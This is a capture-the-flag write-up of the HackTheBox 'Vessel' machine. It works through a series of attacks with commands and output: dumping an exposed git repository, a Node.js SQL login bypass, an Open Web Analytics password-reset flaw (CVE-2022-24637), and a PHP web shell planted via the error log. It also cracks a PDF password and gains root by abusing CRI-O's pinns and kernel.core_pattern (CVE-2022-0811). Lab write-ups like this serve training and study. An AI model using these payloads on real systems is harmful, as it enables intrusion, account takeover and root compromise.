AC1DF0X VAULT

Vessel HackTheBox Writeup

Portscan

Like always, the first step is portscanning the machine IP. Looks like only port 22 and 80 are open, so the attack path will likely be through the web application.

[goon@security vessel]$ nmap -p- -sV -sC 10.129.21.243 -T5
Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-15 19:27 EST
Warning: 10.129.21.243 giving up on port because retransmission cap hit (2).
Nmap scan report for 10.129.21.243
Host is up (0.048s latency).
Not shown: 63916 closed tcp ports (conn-refused), 1617 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 38c297327b9ec565b44b4ea330a59aa5 (RSA)
|   256 33b355f4a17ff84e48dac5296313833d (ECDSA)
|_  256 a1f1881c3a397274e6301f28b680254e (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Vessel
|_http-trane-info: Problem with XML parsing of /evox/about
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 238.92 seconds

VHOST

When you visit the webserver on port 80 at the bottom of the page you can see Vessel.htb. Added that to my /etc/hosts file.



Directory Busting

One of my friends while doing this box couldn't find some of the important directories while directory busting, so let's slow down for a moment. DO NOT TAKE A 404 STATUS CODE AS GOSPEL. Take the /dev/ directory for example. If you visit it in the browser, it looks the same as every other 404 Not Found page.



Instead, send the request in cURL without the trailing slash.
[goon@security vessel]$ curl http://vessel.htb/dev
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Redirecting</title>
</head>
<body>
<pre>Redirecting to <a href="/dev/">/dev/</a></pre>
</body>
</html>

Huh? It's redirecting to /dev/ (with the trailing slash). Compare this to a request with a folder name that does not exist.
[goon@security vessel]$ curl http://vessel.htb/zoinks
Found. Redirecting to /404

When the browser redirects to /dev/, the server correctly returns a 404, because nothing is inside that folder. Yet, by looking at the redirect in the above cURL command, we know that folder exists. While the webserver is telling us the resource is not found, there is a clear difference in behavior indicating otherwise.

Fortunately, dirsearch does that shit for me (another reason it's the best).
dirsearch -u http://vessel.htb/

Discovered folders and endpoints:

Now that we've determined folder names, we want to recursively directory bust. Literally just directory bust those newly discovered folders. Simple idea. The only folder that seems cool is /dev/.

[goon@security vessel]$ dirsearch -u http://vessel.htb/dev/

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11609

Output: /home/goon/htb/vessel/reports/http_vessel.htb/_dev__23-01-17_12-24-11.txt

Target: http://vessel.htb/

[12:24:11] Starting: dev/
[12:24:17] 200 -  139B  - /dev/.git/config
[12:24:17] 200 -   25B  - /dev/.git/COMMIT_EDITMSG
[12:24:17] 200 -   73B  - /dev/.git/description
[12:24:17] 200 -   23B  - /dev/.git/HEAD
[12:24:17] 200 -  240B  - /dev/.git/info/exclude
[12:24:17] 200 -    5KB - /dev/.git/logs/HEAD
[12:24:17] 301 -  203B  - /dev/.git/logs/refs  ->  /dev/.git/logs/refs/
[12:24:17] 200 -    2KB - /dev/.git/logs/refs/heads/master

Immediately we found a .git directory, which is good for us. Unfortunately we can't just git clone the URL because the repository doesn't have a valid .git/info/refs file. We can use git-dumper which makes a GET request to the HEAD file and fetches git objects that way. This tool will search for common files found in a .git folder and automatically decompress objects as they are found, which essentially allows us to reconstruct the contents of the repository without actually cloning it.

[goon@security vessel]$ git-dumper http://vessel.htb/dev/.git/ git                                                                                                                            
[-] Testing http://vessel.htb/dev/.git/HEAD [200]                                                                                                                                             
[-] Testing http://vessel.htb/dev/.git/ [302]                                                                                                                                                 
[-] Fetching common files                                                                                                                                                                     
[-] Already downloaded http://vessel.htb/dev/.git/COMMIT_EDITMSG                                                                                                                              
[-] Already downloaded http://vessel.htb/dev/.git/description                                                                                                                                 
[-] Already downloaded http://vessel.htb/dev/.git/hooks/applypatch-msg.sample
[-] Already downloaded http://vessel.htb/dev/.git/hooks/commit-msg.sample
[-] Already downloaded http://vessel.htb/dev/.git/hooks/post-update.sample
[-] Already downloaded http://vessel.htb/dev/.git/hooks/pre-applypatch.sample



Exploiting SQL Injection

Inside this git repository is the source code for the web application. What jumps out is the /login route:
router.post('/api/login', function(req, res) {
	let username = req.body.username;
	let password = req.body.password;
	if (username && password) {
		connection.query('SELECT * FROM accounts WHERE username = ? AND password = ?', [username, password], function(error, results, fields) {
			if (error) throw error;
			if (results.length > 0) {
				req.session.loggedin = true;
				req.session.username = username;
				req.flash('success', 'Succesfully logged in!');
				res.redirect('/admin');

If you Google nodejs sql injection literally the first link talks about type checking, and includes an example that is identical to our login function.



https://www.stackhawk.com/blog/node-js-sql-injection-guide-examples-and-prevention/

That's cool - by adding attributes in the HTTP request we can manipulate the type of variable that is parsed by the webserver. Since the webserver is not expecting this behavior it could lead to some unintended functionality.

We can visualize this behavior easier by creating a demo NodeJS app that returns our request body as the way the server sees it. I'm returning it as JSON because it'll just return the string [Object object] otherwise, even though it's using a JSON parser. It's JavaScript, don't complain to me.

Example webserver code:
app.post('/', (req, res) => {
  res.send(JSON.stringify(req.body) + "\n")
})

Generic POST Request & Response:
[goon@security vessel]$ curl http://localhost:3000/ -d "username=foo&password=bar"
{"username":"foo","password":"bar"}

Injected Attribute POST Request & Response:
[goon@security vessel]$ curl http://localhost:3000/ -d "username=foo&password[password]=1"
{"username":"foo","password":{"password":"1"}}

The type of the variable received by the webserver is no longer a string, and is now an object. Using a prepared statement like the code does makes the password portion of the SQL query look like this:

SELECT 'password' = 'password' = 1;

Breaking it down, password does equal password, so that is a boolean true, or 1. Simplifying the query again, we're left with:
SELECT 1 = 1;

It's safe to assume 1 always equals 1, so it will always return true.

Okay, that's simple enough. We inject an attribute in the POST parameter to force the SQL query to always evaluate true for whatever username we want, which should lead us bypass the login.

I intercepted the login request in BurpSuite and modified the request.



Now we're in the admin panel.



Nothing cool in here aside from the reference to another VHOST in the settings tab under the analytics tab.

Exploiting Open Web Analytics Webapp

The webapp on openwebanalytics.vessel.htb is something called "open web analytics", whatever that is - can be assumed it's for web analytics. Impressive feat of observation, right?

In the page response we can fingerprint the version of OWA as 1.7.3 by looking at the CSS imports, which contains a GET parameter named version:
<LINK REL=StyleSheet HREF="http://openwebanalytics.vessel.htb/modules/base/css/owa.css?version=1.7.3" TYPE="text/css">

Googling around, there's a CVE tracked as CVE-2022-24637 for this version.
The crux of this vulnerability is pretty simple. When someone logs in (or attempts to log in) to the server, it has to query a SQL database. Instead of taking this loss of time to the chin, it will cache the serialized data in a log file. The location of this log file is in a publicly accessible directory, with the name of the log file being randomly generated.

Instead of making it actually random, they just decided to take the user ID, concatonate it to user_id and hash it with md5. Boom, that's the filename.

So, we try to login as the default administrative user, admin.



Cool, now there should be a cache file located in the /owa-data/caches/1/owa_user/ directory. By guessing user IDs we can easily find this cache file. Since it's the default admin user, I have a hunch what the user ID could be (hint: it's not 2).

[goon@security vessel]$ echo -n 'user_id1' | md5sum                                                                                                                                           c30da9265ba0a4704db9229f864c9eb7  -
[goon@security vessel]$ curl http://openwebanalytics.vessel.htb/owa-data/caches/1/owa_user/c30da9265ba0a4704db9229f864c9eb7.php

<?php\n/*Tzo4OiJvd2FfdXNlciI6NTp7czo0OiJuYW1lIjtzOjk6ImJhc2UudXNlciI7czoxMDoicHJvcGVydGllcyI7YToxMDp7czoyOiJpZCI7TzoxMjoib3dhX2RiQ29sdW1uIjoxMTp7czo0OiJuYW1lIjtOO3M6NToidmFsdWUiO3M6MToiMSI7czo5OiJkYXRhX3R5cGUiO3M6NjoiU0VSSUFMIjtzOjExOiJmb3JlaWduX2tleSI7TjtzOjE0OiJpc19wcmltYXJ5X2tleSI7YjowO3M6MTQ6ImF1dG9faW5jcmVtZW50IjtiOjA7czo5OiJpc191bmlxdWUiO2I6MDtzOjExOiJpc19ub3RfbnVsbCI7YjowO3M6NToibGFiZWwiO047czo1OiJpbmRleCI7TjtzOjEzOiJkZWZhdWx0X3ZhbHVlIjtOO31zOjc6InVzZXJfaWQiO086MTI6Im93YV9kYkNvbHVtbiI6MTE6e3M6NDoibmFtZSI7TjtzOjU6InZhbHVlIjtzOjU6ImFkbWluIjtzOjk6ImRhdGFfdHlwZSI7czoxMjoiVkFSQ0hBUigyNTUpIjtzOjExOiJmb3JlaWduX2tleSI

Apparently, the reason this cache file is visible is because the OWA developers wrapped the the PHP code in single-quotes, which doesn't interpret \n (newline) characters. So instead of a PHP comment which would only appear server-side, you get the above response. Pretty funny shit.

Regardless, it's just base64 encoded data, decode it and you get the goodies.



What we really care about is the temp_passkey, which allows us to reset the admin password to whatever we want, since it's a secret value only a password reset link would give you.
s:12:"temp_passkey";O:12:"owa_dbColumn":11:{s:4:"name";N;s:5:"value";s:32:"b7b750fddb654cff535e7159644b5250";

We can take this value and visit the password setup portal.
http://openwebanalytics.vessel.htb/index.php?owa_do=base.usersPasswordEntry



There's a hidden input tag for the temp passkey, so you can edit the HTML using inspect element or just intercept the request.



I'll just intercept the HTTP request when I click Save Your New Password instead. I will add the temp_passkey variable as the value of the owa_k body parameter.



Now the admin passwors should be zoinks :) We can verify this by logging in as admin.



Exploiting Admin Access OWA for User Shell

The next step is super simple. We can change the settings by clicking the Settings button. Now, I don't see an option for the error log location, but the same CVE includes a proof-of-concept that changes these values.

In any case, you can update the settings to anything and intercept the request in BurpSuite. All you need to do is change one of the attribute names to base.error_log_file and increase the logging level to be super verbose by changing any of the other attributes to base.error_log_level with a value of 2. It doesn't look like I have write access to a ton of directories, but I of course can write to the directory where the caches are written to :) The request will look like this, which you will submit twice.
POST /index.php?owa_do=base.optionsGeneral HTTP/1.1
Host: openwebanalytics.vessel.htb
Cookie: owa_passwordSession=408a25f210eadae0c0696e221ec7c2ed1857889f286f4714c50405d9177dfae5; owa_userSession=admin
Content-Length: 215
Content-Type: application/x-www-form-urlencoded

owa_nonce=83e625b100&owa_action=base.optionsUpdate&owa_config[base.error_log_file]=/var/www/html/owa/owa-data/caches/shell.php&owa_config[base.error_log_level]=2&owa_config[foo]=<?php+system($_SERVER['HTTP_CMD']);?>

It's important to notice the last body parameter in the above request:
owa_config[foo]=<?php+system($_SERVER['HTTP_CMD']);?>

When you submit the request the first time, nothing will happen, as you're simply updating the OWA configuration to write errors to this location. When we submit the request for the second time, we force the application to throw an error because the foo key does not really exist in the configuration, and it will write the request details into the file we specified before, which is now a .php file.

Meaning, we now have a publicly accessible shell.php file that includes arbitrary content we control, so we just created a super simple PHP shell to execute commands from our request header.

GET /owa-data/caches/shell.php HTTP/1.1
Host: openwebanalytics.vessel.htb
CMD: ls -la
Connection: close


Now you can easily catch a reverse shell using python, since it's on the box :)


Privilege Escalation from www-data to Ethan

Inside the home directory of the steven user is a compiled binary, passwordGenerator. After exfilling the binary to our location machine (I prefer using NC) we can start to investigate what this binary does.

ExifTool

[goon@security vessel]$ exiftool passwordGenerator
ExifTool Version Number         : 12.50
File Name                       : passwordGenerator
Directory                       : .
File Size                       : 35 MB
File Modification Date/Time     : 2023:01:15 20:48:43-05:00
File Access Date/Time           : 2023:01:15 20:46:37-05:00
File Inode Change Date/Time     : 2023:01:15 20:48:57-05:00
File Permissions                : -rwxr-xr-x
File Type                       : Win32 EXE
File Type Extension             : exe
MIME Type                       : application/octet-stream
Machine Type                    : Intel 386 or later, and compatibles
Time Stamp                      : 2022:05:04 07:03:33-04:00
Image File Characteristics      : Executable, Large address aware, 32-bit
PE Type                         : PE32
Linker Version                  : 14.29
Code Size                       : 151040
Initialized Data Size           : 125952
Uninitialized Data Size         : 0
Entry Point                     : 0x9830
OS Version                      : 5.1
Image Version                   : 0.0
Subsystem Version               : 5.1
Subsystem                       : Windows command line

Immediately looking at File Type, this is a Windows executable, which is interesting. Why is it on a linux box? That we may never know the answer to, but this small fact will come back to haunt me for the next 2 hours.

Ignoring that like we all foolishly did, let's try to decompile this binary. First step is figuring out what type of binary even is this? Let's run the strings command on it and see what it spits out.

Strings

bshiboken2\shiboken2.pyd
bunicodedata.pyd
xPySide2\translations\qtbase_ar.qm
xPySide2\translations\qtbase_bg.qm
xPySide2\translations\qtbase_ca.qm
xPySide2\translations\qtbase_cs.qm
xPySide2\translations\qtbase_da.qm
xPySide2\translations\qtbase_de.qm
xPySide2\translations\qtbase_en.qm
xPySide2\translations\qtbase_es.qm
xPySide2\translations\qtbase_fi.qm
xPySide2\translations\qtbase_fr.qm
xPySide2\translations\qtbase_gd.qm
xPySide2\translations\qtbase_he.qm
xPySide2\translations\qtbase_hu.qm
xPySide2\translations\qtbase_it.qm
xPySide2\translations\qtbase_ja.qm
xPySide2\translations\qtbase_ko.qm
xPySide2\translations\qtbase_lv.qm
xPySide2\translations\qtbase_pl.qm
xPySide2\translations\qtbase_ru.qm
xPySide2\translations\qtbase_sk.qm
xPySide2\translations\qtbase_tr.qm
xPySide2\translations\qtbase_uk.qm
xPySide2\translations\qtbase_zh_TW.qm
xbase_library.zip
zPYZ-00.pyz
3python37.dll

Okay, that's something, references to python. It's a compiled python executable. Getting the original source code for these is pretty trivial, let's download pyinstxtractor.py and uncompyle6.
https://github.com/extremecoders-re/pyinstxtractor
https://pypi.org/project/uncompyle6/

We can decompile the executable with the following command:
python pyinstxtractor.py passwordGenerator

This creates a passwordGenerator_extracted directory which contains .pyc files, which are more readable, but still compiled. Simple fix, run uncompyle6 on the passwordGenerator.pyc file.
uncompyle6 passwordGenerator_extracted/passwordGenerator.pyc > decompiled_passwordgenerator.py

We can now see the decompiled python!

Looking at the source code, it looks like a password generator. Immediately it's obvious the seed used for the random function is garbage as it using the current time. A shared seed should be treated like a secret key since it can be used to generate the same random sequence over and over. If we can determine the time the password generator was executed we can easily find the password it generated.

Fortunately, one of the friends I was doing this box with figured out it's only the miliseconds of the current time, which in this case is a 3 NUMBER MAX. That means there is a maximum of 999 passwords this program could of possibly generared per character set, with 3 character sets, a total of 2997 passwords, which is still an incredibly small amount. However, we don't know the length of these passwords. It could be anything from 1-100 (that's a theoretical max, they could make the password 1000 characters long, but fuck off), so that's actually a total of 4.663095336×10³⁴⁷ passwords (i.e. a metric shitload).

Assuming we can even make a password list, what is this password used for? SSH? Some intranet webapp? The other friend I was doing this box with (it pays to have friends) noticed a notes.pdf and screenshot.png file in the .notes directory (/home/steven/.notes/).

Exfilling these files we notice the notes.pdf file is password protected. I guess that solves the mystery on what this password generator is for.

The screenshot.png cuts us some slack.



Okay, so now we know the character set used and the length of the password, back down to a total of only 999 passwords. We can use the following python code to generate a wordlist with all possible combinations.
from PySide2.QtCore import *
from PySide2.QtGui import *
from PySide2.QtWidgets import *
from PySide2 import QtWidgets
import pyperclip

def genPassword(currenttime):
    length = 32
    charset = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890~!@#$%^&*()_-+={}[]|:;<>,.?'

    qsrand(currenttime)
    password = ''
    for i in range(length):
        idx = qrand() % len(charset)
        nchar = charset[idx]
        password += str(nchar)

    return password

iterations = 1000
with open('wordlist.txt', 'w+') as file:
	for i in range(iterations):
		file.writelines(genPassword(i) + "\n")

<--- SUPER MEGA DISCLAIMER --->
Remember how we all disregarded that the executable was for Windows? Apparently, that matters... a lot.

The qrand() function in this python script is derived from the rand() function in C, which depends greatly on a value called RAND_MAX. This variable represents the largest value the rand() function can return. In the GNU C Library, this value is 2147483647. Depending on the library this value could be 32767. All this means, is with the same code, with the same exact seed, you will product different values on different operating systems.

We tried a dozens of things for 2 hours on Linux before realizing we would need to run this password generator code on a Windows machine before it would generate the correct password list. So, we did :)

Once we had this password list, we used pdfcrack to iterate through our possible passwords and try to decrypt notes.pdf.
[goon@security vessel]$ pdfcrack -w wordlist.txt notes.pdf 
PDF version 1.6
Security Handler: Standard
V: 2
R: 3
P: -1028
Length: 128
Encrypted Metadata: True
FileID: c19b3bb1183870f00d63a766a1f80e68
U: 4d57d29e7e0c562c9c6fa56491c4131900000000000000000000000000000000
O: cf30caf66ccc3eabfaf371623215bb8f004d7b8581d68691ca7b800345bc9a86
found user-password: 'YG7Q7RDzA+q&ke~MJ8!yRzoI^VQxSqSS'

Sweet. We can access the PDF, now. Opening the PDF gave us a password:



This is obviously for the ethan user, so let's try to SSH in.



Privilege Escalation from Ethan to root

YOU KNOW WHAT TIME IT IS. LINPEAS, THE GOAT, THE LEGEND.
https://github.com/carlospolop/PEASS-ng/

Blah blah, running the linpeas.sh enumeration script there's a bunch of output, but it reveals there's a non-default binary with the suid-bit.
ethan@vessel:~$ ls -la /usr/bin/pinns 
-rwsr-x--- 1 root ethan 814936 Mar 15  2022 /usr/bin/pinns

Googling for pinns exploit leads us to CVE-2022-0811, dubbed cr8escape.
https://www.crowdstrike.com/blog/cr8escape-new-vulnerability-discovered-in-cri-o-container-engine-cve-2022-0811/
CrowdStrike’s Cloud Threat Research team discovered a flaw introduced in CRI-O version [1.19] that allows an attacker to bypass these safeguards and set arbitrary kernel parameters on the host

Interesting. What version of crio is on this box?
ethan@vessel:~$ crio --version
crio version 1.19.6
Version:       1.19.6
GitCommit:     c12bb210e9888cf6160134c7e636ee952c45c05a
GitTreeState:  clean
BuildDate:     2022-03-15T18:18:24Z
GoVersion:     go1.15.2
Compiler:      gc
Platform:      linux/amd64
Linkmode:      dynamic

Oh, the vulnerable version.



In essence, the vulnerable version of crio allows us to set arbitrary kernel parameters. I had to Google what "kernel parameters" are, but they're tunable flags that you can change to adjust how the system responds to stuff (if you have the proper permissions).

Let's take a look at the blog post again.



Oh, so the pinns binary is used to set kernel parameters, which has the suid bit... dope, we can change kernel parameters just like the root user would. How do we exploit this, though?

The proof-of-concept in CrowdStrike's blog uses kubernetes which this box doesn't have, and it uses it to escape the container (hence cr8escape). The attacker can abuse kubectl and bypass the crio filter that prevents someone from setting malicious kernel parameters. However, if we can interact with the pinns utility directly, we don't really need to bypass any crio filters. If kube talks to crio which talks to pinns which talks to the kernel, and the vulnerability is in crio allowing us to bypass filters and set arbitrary flags with pinns... fuck it, why not just set the parameters with pinns and skip the bypass?

Their exploit is a yaml file for kubernetes that looks like this:
apiVersion: v1
kind: Pod
metadata:
  name: sysctl-set
spec:
  securityContext:
   sysctls:
   - name: kernel.shm_rmid_forced
     value: "1+kernel.core_pattern=|/var/lib/containers/storage/overlay/3ef1281bce79865599f673b476957be73f994d17c15109d2b6a426711cf753e6/diff/malicious.sh #"
  containers:
  - name: alpine
    image: alpine:latest
    command: ["tail", "-f", "/dev/null"]

It sets the kernel parameter kernel.shm_rmid_forced to 1+kernel.core_pattern=|/var/lib/containers/storage/overlay/3ef1281bce79865599f673b476957be73f994d17c15109d2b6a426711cf753e6/diff/malicious.sh #.

This essentially works like parameter pollution. The + after the 1 acts as the start of a new parameter, which in this case is kernel.core_pattern. As explained by the blog post, when crio applies this setting it is expanded into this:
kernel.shm_rmid_forced=1  
kernel.core_pattern=|<path to malicious script> #’

Note the | (pipe) character, allowing an arbitrary script, and the trailing # (pound sign) to prevent the single quote added to the end from breaking the script execution.

The kernel.core_pattern parameter is used to instruct the system on how to respond to core dumps. A core dump is essentially a snapshot of memory when shit hits the fan, like during an unhandled system exception. It's a file that contains the address space when things go brrrr.

This kernel parameter allows us to specify commands or a script location to execute once there has been a core dump. In the case of crio, this process is run as root. As the blog shows, we can set kernel parameters using the pinns command line with the -s flag, so let's do that.

Their example looks like this:
pinns -s kernel_parameter1=value1+kernel_parameter2=value2

So thinking logically, we'll try to set the kernel.core_pattern parameter directly.
ethan@vessel:~$ pinns -s 'kernel.core_pattern=/tmp/exploit.sh'
[pinns:e]: Path for pinning namespaces not specified: Invalid argument

An error. Unfortunately, there is absolutely ZERO documentation for the pinns utility, so we're going to have to find the source code and figure out what's going on.

Fuck, fuck, fuck. It's written in C. Let's figure this out.
https://fossies.org/linux/cri-o/pinns/src/pinns.c

Searching for the error message we can see the issue (I've snipped some parts of the code to make viewing easier):
static const struct option long_options[] = {
   {"help", no_argument, NULL, 'h'},
   {"uts", optional_argument, NULL, 'u'},
   {"ipc", optional_argument, NULL, 'i'},
   {"net", optional_argument, NULL, 'n'},
   {"user", optional_argument, NULL, 'U'},
   {"cgroup", optional_argument, NULL, 'c'},
   {"mnt", optional_argument, NULL, 'm'},
   {"dir", required_argument, NULL, 'd'},
   {"filename", required_argument, NULL, 'f'},
   {"uid-mapping", optional_argument, NULL, UID_MAPPING},
   {"gid-mapping", optional_argument, NULL, GID_MAPPING},
   {"sysctl", optional_argument, NULL, 's'},
};

-- SNIP --

case 'd':
   pin_path = optarg;
   break;

-- SNIP --

if (!pin_path) {
   nexit("Path for pinning namespaces not specified");
}

So it needs the -d flag, which is... directory. The code also makes it seem like the filename is a required argument. What are these arguments used for? How do I know if I gave it the right one?

  343  bind_path[bind_path_len++] = '/';
  344  bind_path[bind_path_len] = '\0';
  345  strncat(bind_path, filename, PATH_MAX - bind_path_len - 1);
  346 
  347  fd = open(bind_path, O_RDONLY | O_CREAT | O_EXCL, 0);
  348  if (fd < 0) {
  349    if (fd < 0 && errno != EEXIST) {
  350      pwarn("Failed to create ns file");
  351      return -1;
  352    }
  353  }
  354  close(fd);
  355 
  356  if (pid > 0)
  357    snprintf(ns_path, PATH_MAX - 1, "/proc/%d/ns/%s", pid, ns_name);
  358  else
  359    snprintf(ns_path, PATH_MAX - 1, "/proc/self/ns/%s", ns_name);
  360 
  361  if (mount(ns_path, bind_path, NULL, MS_BIND, NULL) < 0) {
  362    pwarnf("Failed to bind mount ns: %s", ns_path);
  363    return -1;
  364  }

Looks like it creates a file for the namespace and uses it as output. I uh, personally, don't really care about the output, so I'm going to put something random. As long as the directory exists the rest of the pinns code runs, so uh... get bent?
ethan@vessel:~$ pinns -d /tmp/ -f doinks -s 'kernel.core_pattern=/tmp/exploit.sh'
[pinns:e] No namespace specified for pinning

NO NAMESPA- okay, it's fine, we'll repeat what we did and read the code.
77    case 'u':
78      if (!is_host_ns (optarg))
79        unshare_flags |= CLONE_NEWUTS;
80      bind_uts = true;
81      num_unshares++;
82      break;
83    case 'i':
84      if (!is_host_ns (optarg))
85        unshare_flags |= CLONE_NEWIPC;
86      bind_ipc = true;
87      num_unshares++;
88      break;
89    case 'n':
90      if (!is_host_ns (optarg)) {
91        unshare_flags |= CLONE_NEWNET;
92      }
93      bind_net = true;
94      num_unshares++;
95      break;
96    case 'U':
97      if (!is_host_ns (optarg))
98        unshare_flags |= CLONE_NEWUSER;
99      bind_user = true;
100      num_unshares++;
101      break;

-- SNIP --

153  if (num_unshares == 0) {
154    nexit("No namespace specified for pinning");  155  }

Oh, okay, so if I specify a namespace it'll increment that variable and finally execute my command. Whatever, -i it is. I don't care about the output, I just want to set this kernel parameter so the vulnerable part of the code happens.

If we run our new command and check if it's been set...
ethan@vessel:~$ pinns -d /tmp/ -f stickyspot -s 'kernel.core_pattern=|/tmp/exploit.sh' -i
ethan@vessel:~$ cat /proc/sys/kernel/core_pattern
|/tmp/exploit.sh

It worked :)

Okay, now we just have to write an exploit.sh script and cause a core dump to happen. For my exploit.sh I'll just have it read the root flag and copy it to the /tmp/ folder.
#!/bin/sh
cat /root/root.txt > /tmp/root.txt && chmod 777 /tmp/root.txt

Perfect. Now for the core dump - the CrowdStrike blog post shows a way you to can do it by using the tail command and then killing it with kill -SIGSEGV, but I figured out (completely by accident) you can cause one by using the wrong flags to the pinns utility :)
ethan@vessel:~$ pinns --zoinks
Segmentation fault (core dumped)

There is an annoying cronjob deleting scripts, resetting kernel parameters, among other things. We'll just do everything in one-go and reap the rewards.
ethan@vessel:/tmp$ nano exploit.sh
ethan@vessel:/tmp$ chmod +x exploit.sh 
ethan@vessel:/tmp$ pinns -d /tmp/ -f doodoo -s "kernel.core_pattern=|/tmp/exploit.sh" -i
ethan@vessel:/tmp$ pinns --zoinks
Segmentation fault (core dumped)
ethan@vessel:/tmp$ cat root.txt 
93fd2c42931fde80d53c005b2aaa53a5

WE'RE HOME FREE, BABY. The root flag has been secured.
Definitely a difficult box, but not impossible.